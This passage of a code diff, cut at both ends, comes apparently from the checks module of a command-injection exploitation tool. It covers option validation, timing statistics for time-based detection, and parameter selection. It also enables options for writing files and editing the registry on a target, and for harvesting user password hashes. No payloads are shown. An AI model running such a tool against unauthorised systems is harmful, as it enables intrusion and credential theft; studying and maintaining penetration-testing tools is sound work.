available_scripts = list(tamper_script_paths().keys()) + for script in provided_scripts: + if script not in available_scripts: + err_msg = "The '" + script + "' tamper script does not exist. " + err_msg += "Use the '--list-tampers' switch for listing available tamper scripts." + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) + raise SystemExit(settings.EXIT_FAILURE) + for first, second in settings.INCOMPATIBLE_TAMPER_SCRIPTS: + if first in provided_scripts and second in provided_scripts: + err_msg = "Tamper script '" + first + "' is unlikely to work in combination with the tamper script '" + second + "'." + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) + raise SystemExit(settings.EXIT_FAILURE) + return provided_scripts + +""" +Turn '--module' into the switch each named module is read through. + +Run before the target is touched, for the same reason the tamper scripts are: a module that does +not exist is the user's to correct, not something to find out a connection test later. +""" +def validate_modules(): + if not menu.options.module: + return [] + raw_modules = re.split(settings.PARAMETER_SPLITTING_REGEX, menu.options.module.lower()) + provided_modules = list(dict.fromkeys(module.strip() for module in raw_modules if module.strip())) + for module in provided_modules: + if module not in settings.MODULES: + err_msg = "The '" + module + "' module does not exist. Available module" + err_msg += "s"[len(settings.MODULES) == 1:] + ": " + err_msg += ", ".join("'" + name + "'" for name in sorted(settings.MODULES)) + "." + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) + raise SystemExit(settings.EXIT_FAILURE) + setattr(menu.options, module, True) + # Kept as the names themselves rather than as what was typed, so whatever asks later whether a + # module was named does not parse the option a second time. + settings.USER_APPLIED_MODULE = tuple(provided_modules) + return provided_modules + +""" +Compile what '--test-filter'/'--test-skip' were given, once, before any of it is tested against. + +Taken as a pattern where it reads as one, and as the plain text it is where it does not - a filter +of "';" is what somebody wanting that boundary would write, and it is not a regular expression that +compiles. A lone '*' or '+' is read the way it is written in a shell rather than as the repetition +of nothing, which is what it would otherwise be. +""" +def validate_test_selection(): + for option, name in ((menu.options.test_filter, "TEST_FILTER"), (menu.options.test_skip, "TEST_SKIP")): + if not option: + continue + compiled = [] + # Several of them are given the way every other list this tool takes is given, by comma - no + # boundary has one in it, so nothing is lost by reading it that way. + for part in (item for item in re.split(settings.PARAMETER_SPLITTING_REGEX, option) if item): + # Which techniques run is already '--technique' and '--skip-technique', and a name given here + # would either repeat them or quietly contradict them - said rather than taken either way. + if re.search(r"[A-Za-z]{2,}", part) and any(part.strip().lower() in known for known in settings.TECHNIQUE_ORDER): + err_msg = "The option '" + ("--test-filter" if name == "TEST_FILTER" else "--test-skip") + "' selects payload " + err_msg += "boundaries, and '" + part.strip() + "' names an injection technique. Use '" + err_msg += ("--technique" if name == "TEST_FILTER" else "--skip-technique") + "' for that." + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) + raise SystemExit(settings.EXIT_FAILURE) + pattern = re.sub(r"([^.])([*+])", r"\g<1>.\g<2>", part.strip("*+")) + try: + candidate = re.compile(pattern, re.IGNORECASE) + # A boundary is made of the characters a pattern is written in - '|' and '||' are separators + # here before they are alternations, and read as the latter they match every boundary there + # is rather than the one asked for. Anything that matches nothing at all is meant literally. + if candidate.search(""): + raise re.error("matches everything") + except re.error: + candidate = re.compile(re.escape(part), re.IGNORECASE) + compiled.append(candidate) + setattr(settings, name, compiled or None) + +""" +Whether a boundary is one of those this run was told to try. + +Only the boundary itself: which techniques run is what '--technique' and '--skip-technique' decide, +and these say what each of the running ones puts on the wire. +""" +def test_selected(whitespace, prefix, suffix, separator): + if settings.TEST_FILTER is None and settings.TEST_SKIP is None: + return True + boundary = prefix + separator + suffix + # Both the way a boundary is held and the way it can be typed: the separators include a newline + # and a carriage return, which nobody is going to put on a command line as themselves. + label = boundary + settings.SINGLE_WHITESPACE + whitespace + label += settings.SINGLE_WHITESPACE + _urllib.parse.quote(boundary, safe="") + label += settings.SINGLE_WHITESPACE + _urllib.parse.quote(whitespace, safe="") + if settings.TEST_FILTER is not None and not any(pattern.search(label) for pattern in settings.TEST_FILTER): + return False + if settings.TEST_SKIP is not None and any(pattern.search(label) for pattern in settings.TEST_SKIP): + return False + return True + +""" +Resolve '--type' into the techniques that show a result that way. + +The type is what a finding is reported as, so asking for one is a fair way to ask for the +techniques behind it - and shorter than naming each of them. +""" +def apply_injection_type(): + if not menu.options.type: + return + # Asked of the options themselves: this runs before the run has settled which of the two it is on. + if menu.options.tech or menu.options.skip_tech: + err_msg = "The options '--type' and '" + err_msg += "--skip-technique" if menu.options.skip_tech else "--technique" + err_msg += "' cannot be used simultaneously." + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) + raise SystemExit(settings.EXIT_FAILURE) + # A string of letters, the way '--technique' is given - a separator between them is allowed too. + ignored = settings.PARAMETER_SPLITTING_REGEX + settings.SINGLE_WHITESPACE + letters = "" + for given in menu.options.type.lower(): + if given in ignored: + continue + if given not in settings.AVAILABLE_TYPES: + err_msg = "You specified wrong value '" + given + "' as injection type. " + err_msg += "The value for option '--type' must be a string composed by the letters " + err_msg += ", ".join(settings.AVAILABLE_TYPES).upper() + err_msg += ". Refer to the official wiki for details." + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) + raise SystemExit(settings.EXIT_FAILURE) + letters += settings.AVAILABLE_TYPES[given] + menu.options.tech = "".join(sorted(set(letters), key=settings.AVAILABLE_TECHNIQUES.index)) + settings.USER_APPLIED_TECHNIQUE = True + +""" +The techniques the user named, rejected here on the same ground as the tamper scripts above. +""" +def validate_techniques(): + if not menu.options.tech: + return + letters = menu.options.tech.lower() + for legacy, current in settings.LEGACY_TECHNIQUE_LETTERS.items(): + letters = letters.replace(legacy, current) + selectable = list(settings.AVAILABLE_TECHNIQUES) + ignored = settings.PARAMETER_SPLITTING_REGEX + settings.SINGLE_WHITESPACE + unknown = [letter for letter in letters if letter not in selectable and letter not in ignored] + if unknown: + err_msg = "You specified wrong value '" + unknown[0] + "' as injection technique. " + err_msg += "The value for option '" + err_msg += "--skip-technique" if settings.SKIP_TECHNIQUES else "--technique" + err_msg += "' must be a string composed by the letters " + err_msg += ", ".join(settings.AVAILABLE_TECHNIQUES).upper() + err_msg += ". Refer to the official wiki for details." + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) + raise SystemExit(settings.EXIT_FAILURE) + +""" +The remaining options whose value can be judged on its own, on the same ground as the two above. +""" +def validate_options(): + if menu.options.level not in (None, False): + try: + level = int(menu.options.level) + except (TypeError, ValueError): + level = None + if level not in (settings.DEFAULT_INJECTION_LEVEL, settings.COOKIE_INJECTION_LEVEL, settings.HTTP_HEADER_INJECTION_LEVEL): + err_msg = "The value for option '--level' must be an integer value from range [1, 3]." + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) + raise SystemExit(settings.EXIT_FAILURE) + + if menu.options.eval_sink: + # 'py' and 'python' name the same language, here as for '--interpreter'. + if settings.resolve_language(menu.options.eval_sink) not in (settings.EVAL_ALL_LANGUAGES,) + settings.SUPPORTED_EVAL_LANGUAGES: + err_msg = "You defined an invalid language '" + menu.options.eval_sink + "' for '--eval'. " + err_msg += "Supported languages are: " + ", ".join(settings.SUPPORTED_EVAL_LANGUAGES) + "." + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) + raise SystemExit(settings.EXIT_FAILURE) + + if menu.options.file_write is not None and not menu.options.file_dest: + err_msg = "You must specify the host's absolute filepath to write (i.e. '--file-dest')." + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) + raise SystemExit(settings.EXIT_FAILURE) + + if menu.options.file_dest and menu.options.file_write is None: + err_msg = "You must enter the '--file-write' parameter." + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) + raise SystemExit(settings.EXIT_FAILURE) + + # The remote destination must be an absolute filepath (Unix-style, Windows drive-letter, or UNC). + if menu.options.file_dest and not (menu.options.file_dest.startswith(("/", "\\")) or \ + re.match(r"^[A-Za-z]:[\\/]", menu.options.file_dest)): + err_msg = "The value for option '--file-dest' must be an absolute filepath " + err_msg += "(e.g. '/tmp/file' or 'C:\\Windows\\Temp\\file')." + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) + raise SystemExit(settings.EXIT_FAILURE) + + if menu.options.file_write is not None and not os.path.exists(menu.options.file_write): + err_msg = "The specified local file '" + menu.options.file_write + "' does not exist." + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) + raise SystemExit(settings.EXIT_FAILURE) + + reg_actions = (menu.options.reg_read, menu.options.reg_add, menu.options.reg_del) + if sum(bool(_) for _ in reg_actions) > 1: + err_msg = "The options '--reg-read', '--reg-add' and '--reg-del' cannot be used simultaneously." + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) + raise SystemExit(settings.EXIT_FAILURE) + + if any(reg_actions) and not menu.options.reg_key: + err_msg = "You must specify the Windows registry key to use (i.e. '--reg-key')." + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) + raise SystemExit(settings.EXIT_FAILURE) + + if menu.options.reg_key and not any(reg_actions): + err_msg = "The option '--reg-key' requires one of '--reg-read', '--reg-add' or '--reg-del'." + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) + raise SystemExit(settings.EXIT_FAILURE) + + if menu.options.reg_read and not menu.options.reg_value: + err_msg = "You must specify the registry value to read (i.e. '--reg-value')." + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) + raise SystemExit(settings.EXIT_FAILURE) + + if menu.options.reg_add and not menu.options.reg_value: + err_msg = "You must specify the registry value to write (i.e. '--reg-value')." + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) + raise SystemExit(settings.EXIT_FAILURE) + + if menu.options.reg_add and menu.options.reg_data is None: + err_msg = "You must specify the registry value's data to write (i.e. '--reg-data')." + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) + raise SystemExit(settings.EXIT_FAILURE) + + if menu.options.reg_data is not None and not menu.options.reg_add: + err_msg = "The option '--reg-data' requires '--reg-add'." + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) + raise SystemExit(settings.EXIT_FAILURE) + + if any(reg_actions): + if menu.options.reg_type.upper() not in settings.REG_VALUE_TYPES: + err_msg = "The value for option '--reg-type' must be one of: " + err_msg += ", ".join(settings.REG_VALUE_TYPES) + "." + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) + raise SystemExit(settings.EXIT_FAILURE) + menu.options.reg_type = menu.options.reg_type.upper() + +""" +Checking for all required third-party library dependencies. +""" +def third_party_dependencies(): + if settings.VERBOSITY_LEVEL != 0: + debug_msg = "Checking for all required third-party library dependencies." + settings.print_data_to_stdout(settings.print_debug_msg(debug_msg)) + + try: + __import__("sqlite3") + except ImportError: + err_msg = settings.APPLICATION + " requires 'sqlite3' third-party library " + err_msg += "to store previous injection points and commands. " + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) + raise SystemExit(settings.EXIT_FAILURE) + + try: + __import__("readline") + except (ImportError, AttributeError): + if settings.IS_WINDOWS: + try: + __import__("pyreadline") + except ImportError: + err_msg = "TAB completion and history support features require " + err_msg += "the 'pyreadline' (third-party) library." + settings.print_data_to_stdout(settings.print_error_msg(err_msg)) + elif settings.PLATFORM == "posix": + try: + __import__("gnureadline") + except ImportError: + err_msg = "TAB completion and history support features require " + err_msg += "the 'gnureadline' (third-party) library." + settings.print_data_to_stdout(settings.print_error_msg(err_msg)) + pass + +""" +True when the given module can be imported on this host, without importing it. +""" +def _dependency_available(name): + import importlib.util + try: + return importlib.util.find_spec(name) is not None + except (ImportError, AttributeError, ValueError): + return False + +""" +Lists the third-party dependencies, saying which of them this host already has. +""" +def list_dependencies(): + import shutil + + info_msg = "Checking for third-party dependencies." + settings.print_data_to_stdout(settings.print_info_msg(info_msg)) + + # Named after whichever one is providing it, or after the one to install where none is. + readline_module = ("gnureadline", "pyreadline")[settings.IS_WINDOWS] + for module in ("readline", readline_module): + if _dependency_available(module): + readline_module = module + break + + rows = [ + ("sqlite3", _dependency_available("sqlite3"), + "Storing the injection points and commands of previous runs."), + (readline_module, _dependency_available(readline_module), + "TAB completion and command history in the shells."), + ("yaml", _dependency_available("yaml"), + "Reading an OpenAPI description written in YAML ('--openapi')."), + ("git", shutil.which("git") is not None, + "Updating to the latest revision ('--update')."), + # Read here rather than from settings, which is not given '--msf-path' until later on. + ("metasploit-framework", os.path.exists(menu.options.msf_path or settings.METASPLOIT_PATH), + "Handing a session over to Metasploit ('--msf-path')."), + ] + + menu.print_dependency_table("Third-party dependencies", rows) + + missing = [name for name, installed, _ in rows if not installed] + if not missing: + info_msg = "Every third-party dependency is installed." + settings.print_data_to_stdout(settings.print_info_msg(info_msg)) + else: + # Said as a warning rather than an error: all but 'sqlite3' are optional, and each one that is + # absent costs only the option named beside it. + warn_msg = "Missing third-party dependenc" + ("ies", "y")[len(missing) == 1] + ": " + warn_msg += ", ".join("'" + name + "'" for name in missing) + "." + settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) + +""" +Print the authentiation error message. +""" +def http_auth_err_msg(): + err_msg = "Use the '--auth-cred' option to provide a valid pair of " + err_msg += "HTTP authentication credentials (e.g. '--auth-cred=admin:admin'), " + err_msg += "or use the '--ignore-code=401' option to ignore HTTP error 401 (Unauthorized) " + err_msg += "and continue tests without providing valid credentials." + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) + raise SystemExit(settings.EXIT_FAILURE) + +""" +Error while accessing session file +""" +def error_loading_session_file(): + err_msg = "An error occurred while accessing session file ('" + err_msg += settings.SESSION_FILE + "'). " + err_msg += "Use the '--flush-session' switch." + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) + raise SystemExit(settings.EXIT_FAILURE) + +""" +EOFError +""" +def EOFError_err_msg(): + if settings.STDIN_PARSING: + settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) + err_msg = "Exiting, due to EOFError." + settings.print_data_to_stdout(settings.print_error_msg(err_msg)) + +""" +Ask whether to ignore an already-completed action's stored session and redo it. +""" +def ask_redo_stored_session(verb, redo_action): + while True: + message = "Do you want to ignore stored session and " + verb + " again? [y/N] " + again = common.read_input(message, default="N", check_batch=True) + if again in settings.CHOICE_YES: + """ + Ignored for this one action, then put back. The answer was about redoing what was just asked + about, not about the rest of the run - left set, every stored result after it is re-fetched + from the target, including the ones a later prompt of its own would have offered to keep. + """ + stored_choice = menu.options.ignore_session + menu.options.ignore_session = True + try: + redo_action() + finally: + menu.options.ignore_session = stored_choice + return + elif again in settings.CHOICE_NO: + return + elif again in settings.CHOICE_QUIT: + raise SystemExit() + else: + common.invalid_option(again) + +""" +Message regarding unexpected time delays due to unstable requests +""" +def time_delay_due_to_unstable_request(timesec): + if settings.UNSTABLE_REQUEST_CHOICE: + if settings.UNSTABLE_REQUEST_CHOICE == "c" and settings.UNSTABLE_REQUEST_BUMPS < settings.MAX_UNSTABLE_TIMESEC_BUMP: + timesec = timesec + 1 + settings.UNSTABLE_REQUEST_BUMPS = settings.UNSTABLE_REQUEST_BUMPS + 1 + return timesec, settings.UNSTABLE_REQUEST_CHOICE == "c" + + # Built once: appended to inside the loop, every answer that was not one of the options asked the + # question again on the end of the one before it. + message = "Unexpected time delays have been identified." + message += " How do you want to proceed? [(C)ontinue with a longer delay/(s)kip this candidate and try the next] " + settings.print_data_to_stdout(settings.END_LINE.CR) + while True: + proceed_option = common.read_input(message, default="C", check_batch=True) + if proceed_option.lower() in settings.CHOICE_PROCEED : + if proceed_option.lower() == "c": + settings.UNSTABLE_REQUEST_CHOICE = "c" + settings.UNSTABLE_REQUEST_BUMPS = 1 + timesec = timesec + 1 + false_positive_fixation = True + return timesec, false_positive_fixation + elif proceed_option.lower() == "s": + settings.UNSTABLE_REQUEST_CHOICE = "s" + false_positive_fixation = False + return timesec, false_positive_fixation + elif proceed_option.lower() == "q": + raise SystemExit() + else: + common.invalid_option(proceed_option) + pass + +""" +True only for a genuinely finished stored value - a partial (interrupted-run) marker isn't a result yet, and must be treated the same as "nothing stored" so the caller re-runs (and thereby resumes) it instead of handing back the raw marker. +""" +def usable_stored_cmd(stored_value): + return bool(stored_value) and not stored_value.startswith(settings.PARTIAL_VALUE_MARKER) + +""" +Whether the target's own answers move about enough to hide a delay inside their spread. + +Read as how far the times are spread rather than as how long they are: a target that always takes +the same three seconds answers a delay as plainly as a fast one does, and asking about it only +because it is slow refuses a technique that would have worked. It is the swing between answers +that a delay has to stand clear of, so that is what is measured. +""" +def response_times_unsteady(): + sample = strip_time_outliers(settings.RESPONSE_TIMES) + if not sample or len(sample) < 2: + return False + """ + Read against the target's own pace as well as in seconds of its own. + + Half a second of movement is the whole answer on a page that comes back at once, and a sixth of + one on a sink that runs a command first - so a fixed bar in seconds is cleared by a slow target + on nothing but its latency, which is the one reading this question exists to avoid. Both have to + hold: a spread too small to matter is not lagging whatever share of the answer it is. + """ + deviation = statistics.stdev(sample) + return (deviation > settings.SLOW_TARGET_RESPONSE_STDEV + and deviation > statistics.mean(sample) * settings.WARN_TIME_RELATIVE_STDEV) + +""" +Drop high-latency spikes from a response-time sample via a median/MAD cutoff. +""" +def strip_time_outliers(values): + if not values or len(values) < settings.MIN_OUTLIER_SAMPLE: + return values + ordered = sorted(values) + median = ordered[len(ordered) // 2] + mad = sorted(abs(value - median) for value in values)[len(values) // 2] + if mad > 0: + cutoff = median + settings.TIME_OUTLIER_MAD_COEFF * 1.4826 * mad + elif median > 0: + # A deviation of zero is what a steady target looks like, not a reason to keep a spike: with + # most samples identical the median is the target's own speed, and a multiple of it is the + # cutoff. This is the shape a small probe model usually has. + cutoff = median * (1 + settings.TIME_OUTLIER_MAD_COEFF) + else: + return values + result = [value for value in values if value <= cutoff] + # Half the sample has to survive, and at least the two a deviation can be taken from. Holding out + # for the full minimum instead would mean a sample of exactly that size could never lose anything. + return result if len(result) >= max(2, len(values) // 2) else values + +""" +Feed a genuinely non-delayed response time into the rolling baseline model. +""" +def record_probe_response_time(exec_time): + """ + Only where the request it timed actually reached the sink. + + A probe is a plain request with the payload's own work added on top, so it cannot come back + faster than a plain one does. One that does was answered by something in front of the sink - a + filter rejecting the payload outright returns at once, having run no command at all - and it says + what that refusal costs, not what a probe costs. Taken into the model, those pull the mean toward + nothing and the threshold down onto its floor, so an ordinary answer reads as a delay: the delay + asked for is raised against a target that was answering normally, and every probe after it pays + the longer wait for nothing. + """ + plain = strip_time_outliers(settings.RESPONSE_TIMES) + if len(plain) >= 2 and exec_time < statistics.mean(plain) * settings.MIN_PROBE_RELATIVE_COST: + return + settings.PROBE_RESPONSE_TIMES.append(exec_time) + if len(settings.PROBE_RESPONSE_TIMES) > settings.MAX_TIME_RESPONSES: + settings.PROBE_RESPONSE_TIMES[:] = settings.PROBE_RESPONSE_TIMES[-(settings.MAX_TIME_RESPONSES // 2):] + +""" +Record a plain request's response time +""" +def record_baseline_response_time(exec_time): + settings.RESPONSE_TIMES.append(exec_time) + if len(settings.RESPONSE_TIMES) > settings.MAX_TIME_RESPONSES: + settings.RESPONSE_TIMES[:] = settings.RESPONSE_TIMES[-(settings.MAX_TIME_RESPONSES // 2):] + +""" +Blocking warm-up: fills the response-time model to MIN_TIME_RESPONSES before the first real timing +comparison, instead of running that decision on a thin or empty model. + +Says whether it announced itself, so a caller that goes on to fill a second model can carry on +under the one line rather than printing the same warning over the top of it. Such a caller passes +'close' as False and closes the line itself once its own dots are done. +""" +def warm_up_response_baseline(url, http_request_method, close=True): + # Nothing reads the model once '--disable-stats' is given, so the requests that fill it are not + # spent either. + if menu.options.disable_stats: + return False + if len(settings.RESPONSE_TIMES) >= settings.MIN_TIME_RESPONSES: + return False + warn_msg = settings.TIMING_BASELINE_MSG + warn_msg += "." if settings.VERBOSITY_LEVEL != 0 else ", please wait..." + # The open line says what is being tested, so it is closed rather than written over - and this + # one is left open in its turn, for the dots below to be counted off on it. + settings.close_progress_line() + settings.print_data_to_stdout(settings.END_LINE.CR + settings.print_warning_msg(warn_msg)) + # A target that has stopped answering returns nothing to record, and the model would never fill: + # every sample is given a turn, and the ones that failed are not asked for again forever. + attempts = 0 + max_attempts = settings.MIN_TIME_RESPONSES * 2 + while len(settings.RESPONSE_TIMES) < settings.MIN_TIME_RESPONSES and attempts < max_attempts: + attempts += 1 + sample = requests.quick_response_time_sample(url, http_request_method) + if sample is not None: + record_baseline_response_time(sample) + if settings.VERBOSITY_LEVEL == 0: + settings.print_data_to_stdout(".") + if close and settings.VERBOSITY_LEVEL == 0: + settings.print_data_to_stdout(" (done)") + if len(settings.RESPONSE_TIMES) < settings.MIN_TIME_RESPONSES: + # Nothing came back at all, so there is no baseline to read a delay against - and a technique + # that measures against an empty model would call every answer whatever it started out expecting. + if not settings.RESPONSE_TIMES: + settings.close_progress_line() + return target_unusable("The target answered none of the " + str(settings.MIN_TIME_RESPONSES) + + " requests the response-time model asks for, so a time-related result " + "would have nothing to be read against.") + warn_msg = "The target answered " + str(len(settings.RESPONSE_TIMES)) + " of the " + warn_msg += str(settings.MIN_TIME_RESPONSES) + " requests the response-time model asks for. " + warn_msg += "Time-related results are read against what was collected." + settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) + settings.close_progress_line() + check_lagging() + return True + +""" +Warns once (whichever call site reaches it first) if the connection is already too jittery to trust automatically, and disables timesec auto-shrinking for the rest of the run. Returns True if lagging is (or was already found to be) detected. +""" +def check_lagging(): + # Settled once, but not off whatever two samples happened to be in hand: a spread read that early + # says more about the pair than about the connection, so the verdict waits for a model to read. + if not settings.LAGGING_CHECKED and len(settings.RESPONSE_TIMES) >= settings.MIN_TIME_RESPONSES // 2: + settings.LAGGING_CHECKED = True + deviation = statistics.stdev(settings.RESPONSE_TIMES) + pace = statistics.mean(settings.RESPONSE_TIMES) + """ + Read against the target's own pace as well as in seconds of its own. + + Half a second of movement is the whole answer on a page that comes back at once, and ordinary + jitter on one that runs a command before answering - a sink that pings for three seconds clears + a fixed half-second bar on nothing more than being itself. Called laggy on that alone, the run + raises the delay it asks for and every probe after it pays the longer wait, which is hours of + waiting bought against a target that was steady all along. + """ + if deviation > settings.WARN_TIME_STDEV and deviation > pace * settings.WARN_TIME_RELATIVE_STDEV: + settings.LAGGING_DETECTED = settings.JITTER_SEEN = settings.ADJUST_TIME_DELAY_DISABLED = True + warn_msg = "Detected considerable lagging in the connection response(s). " + warn_msg += "Consider using a higher '--time-sec' value (e.g. '10' or more)." + settings.print_data_to_stdout(settings.print_critical_msg(warn_msg)) + return settings.LAGGING_DETECTED + +""" +Current adaptive delay threshold (mean + N*stdev of the baseline), or None if there's no data to compute a deviation from yet. +""" +def _delay_threshold_from(times, timesec=None): + sample = strip_time_outliers(times) + if len(sample) < 2: + return None + # Taken over one fewer than the sample holds, the way the reference for this takes it: what is in + # hand is a sample of the target's answers rather than all of them, and dividing by the count + # understates how far the rest of them spread. The coefficient this is multiplied by was chosen + # for that estimator, so taking it the other way quietly narrows the margin it stands for - a + # tenth of it on the five answers a probe model starts from, which is the model a delay asked for + # is read against. + deviation = statistics.stdev(sample) + mean = statistics.mean(sample) + """ + A sample that does not vary is a steady target, not an unusable one. Answering "no threshold" + there hands the decision to the model of plain requests, which are cheaper than these probes - + so an ordinary probe reads as delayed, and the check that proves a finding real by asking + something that cannot be true sees a delay and calls the finding a false positive. The relative + margin below covers the case on its own. + """ + relative = mean * settings.MIN_RELATIVE_DELAY_MARGIN + """ + A margin read off the target's own pace keeps climbing with it, while the delay being asked for + stays where it was put - so past a slow enough target the bar stands higher than any answer the + payload can produce, and a delay that fires every time is never once seen. Half the delay asked + for is the most that can be required of it, whichever of the two is the smaller. + """ + if timesec: + relative = min(relative, timesec * settings.MIN_RELATIVE_DELAY_MARGIN) + margin = max(settings.TIME_STDEV_COEFF * deviation, relative) + return max(settings.MIN_VALID_DELAYED_RESPONSE, mean + margin) + +# How late an answer has to be before it counts as a delay that was asked for. +def current_delay_threshold(timesec=None): + # Turned off with '--disable-stats': the delay asked for is then the only thing a probe is read + # against, which is what the caller falls back to where no threshold is returned. + if menu.options.disable_stats: + return None + # The payload costs more than a plain request - on the file-based path, two PowerShell launches + # more - so what it costs with nothing held back is the only thing a probe can be judged against. + # The plain model answers only until enough probes have been seen to have one of their own; the + # two are never pooled, since a spread that wide reads as deviation and lifts the threshold above + # the delay it exists to catch. + if len(settings.PROBE_RESPONSE_TIMES) >= settings.MIN_PROBE_RESPONSES: + probe_threshold = _delay_threshold_from(settings.PROBE_RESPONSE_TIMES, timesec) + if probe_threshold is not None: + return probe_threshold + return _delay_threshold_from(settings.RESPONSE_TIMES, timesec) + +""" +Time related shell condition. Uses the adaptive threshold once available, else a fixed one. +""" +def time_related_shell(exec_time, timesec): + if settings.BASELINE_TARGET: + warm_up_response_baseline(*settings.BASELINE_TARGET) + lower_limit = current_delay_threshold(timesec) + delayed = exec_time >= lower_limit if lower_limit is not None else exec_time >= timesec + + return delayed + +""" +Message regarding time related attcks +""" +def time_related_attaks_msg(): + if not settings.TIME_RELATED_ATTACK_WARNING: + warn_msg = "Excessive network load may affect the reliability of time-related payloads." + settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) + settings.TIME_RELATED_ATTACK_WARNING = True + +""" +Check if defined "--url-reload" option. +""" +def reload_url_msg(technique): + warn_msg = "On the " + short_technique_label(technique) + ", the '--url-reload' switch is not available." + settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) + +""" +Decision if the user-defined HTTP authenticatiob type, +is different than the one identified by heuristics. +""" +def identified_http_auth_type(auth_type): + warn_msg = "Identified different HTTP authentication type (" + warn_msg += auth_type.lower() + ") than that you have provided (" + warn_msg += menu.options.auth_type + ")." + settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) + message = "How do you want to proceed? [(C)ontinue/(s)kip] " + while True: + proceed_option = (common.read_input(message, default="C", check_batch=True) or "C").strip().lower() + if proceed_option in ("c", "s", "q"): + break + common.invalid_option(proceed_option) + if proceed_option == "s": + return False + elif proceed_option == "c": + return True + elif proceed_option == "q": + raise SystemExit() + +""" +Retrieve everything from the supported enumeration options. +""" +def enable_all_enumeration_options(): + # Retrieve current user name. + menu.options.current_user = True + # Retrieve current hostname. + menu.options.hostname = True + # Retrieve system information. + menu.options.sys_info = True + if settings.TARGET_OS == settings.OS.WINDOWS: + # Check if the current user have admin privileges. + menu.options.is_admin = True + # Retrieve PowerShell's version number. + menu.options.ps_version = True + else: + # Check if the current user have root privileges. + menu.options.is_root = True + # Retrieve system users. + menu.options.users = True + # Retrieve system users privileges. + menu.options.privileges = True + # Retrieve system users password hashes. + menu.options.passwords = True + +""" +Parse -p/--skip into their own lists. +""" +def check_provided_parameters(): + + # The parameter names given as a list, split the way the option accepts them. + def parse_parameter_list(raw): + if raw.startswith("="): + raw = raw[1:] + parsed = raw.split(settings.PARAMETER_SPLITTING_REGEX) + return [p.split("=")[0] if "=" in p else p for p in parsed] + + if menu.options.test_parameter: + settings.TESTABLE_PARAMETERS_LIST = parse_parameter_list(menu.options.test_parameter) + + if menu.options.skip_parameter: + settings.SKIP_PARAMETERS_LIST = parse_parameter_list(menu.options.skip_parameter) + + # A plain list of names is accepted in place of an expression, and becomes one that matches those + # names whole - so '--param-exclude="id,ses"' does not also exclude 'session_id'. + if menu.options.param_exclude: + if re.search(r"\A\w+,", menu.options.param_exclude): + menu.options.param_exclude = r"\A(" + "|".join(re.escape(_).strip() for _ in menu.options.param_exclude.split(settings.PARAMETER_SPLITTING_REGEX)) + r")\Z" + try: + re.compile(menu.options.param_exclude) + except Exception as err: + err_msg = "Invalid regular expression '" + menu.options.param_exclude + "' (" + str(err) + ")." + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) + raise SystemExit(settings.EXIT_FAILURE) + + if menu.options.param_filter: + settings.PARAM_FILTER_PLACES = [_.strip() for _ in menu.options.param_filter.upper().split(settings.PARAMETER_SPLITTING_REGEX) if _.strip()] + + if menu.options.randomize: + settings.RANDOMIZE_PARAMETERS_LIST = [_.strip() for _ in parse_parameter_list(menu.options.randomize) if _.strip()] + # A parameter cannot be both the one carrying a new value every request and the one a payload + # is placed in - the next request would rewrite the payload. + clash = [_ for _ in settings.RANDOMIZE_PARAMETERS_LIST if _ in settings.TESTABLE_PARAMETERS_LIST] + if clash: + err_msg = "The option '--randomize' is incompatible with the option '-p', for the parameter" + err_msg += "s"[len(clash) == 1:] + " '" + ", ".join(clash) + "'." + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) + raise SystemExit(settings.EXIT_FAILURE) + + +""" +-p is an exclusive allowlist, --skip a blocklist, neither given tests everything. +""" +""" +Whether a parameter has already been tested, in the place it is carried in. +""" +def already_tested(place, check_parameter): + return tested_parameter_name(place, check_parameter) in settings.TESTED_PARAMETERS_LIST + +""" +What a parameter is remembered as - the place it is carried in and its name, so that the same name +in two places is two parameters. Written and read through here, or the two drift apart. +""" +def tested_parameter_name(place, check_parameter): + return str(place) + ":" + str(check_parameter) + +""" +Whether any of the given names asks for the header, under any of the names that header answers to. +""" +def header_named(header, names): + if not names: + return False + if isinstance(names, str): + names = [names] + wanted = [str(_).lower() for _ in names] + return any(alias in wanted for alias in settings.HTTP_HEADER_ALIASES.get(header, (header.lower(),))) + +""" +Whether any standard header was asked for by name. +""" +def any_header_named(names): + return any(header_named(header, names) for header in settings.HTTP_HEADER_ALIASES) + +# Whether this parameter is one the run was told to test. +def is_parameter_testable(name): + if settings.TESTABLE_PARAMETERS_LIST: + return name in settings.TESTABLE_PARAMETERS_LIST + if settings.SKIP_PARAMETERS_LIST: + return name not in settings.SKIP_PARAMETERS_LIST + return True + +""" +Why nothing was tested, which happens for two reasons that read nothing alike. + +One is a name given with '-p' that the request does not carry - what was asked for is not there. +The other is every parameter it does carry having been set aside, by '--skip', '--param-exclude', +'--randomize' or '--smart' - what was asked for is there, and was deliberately left alone. Told the +first while looking at the parameter in their own URL, the user is sent after something that is not +wrong; which option set it aside is already said, parameter by parameter, further up. +""" +def 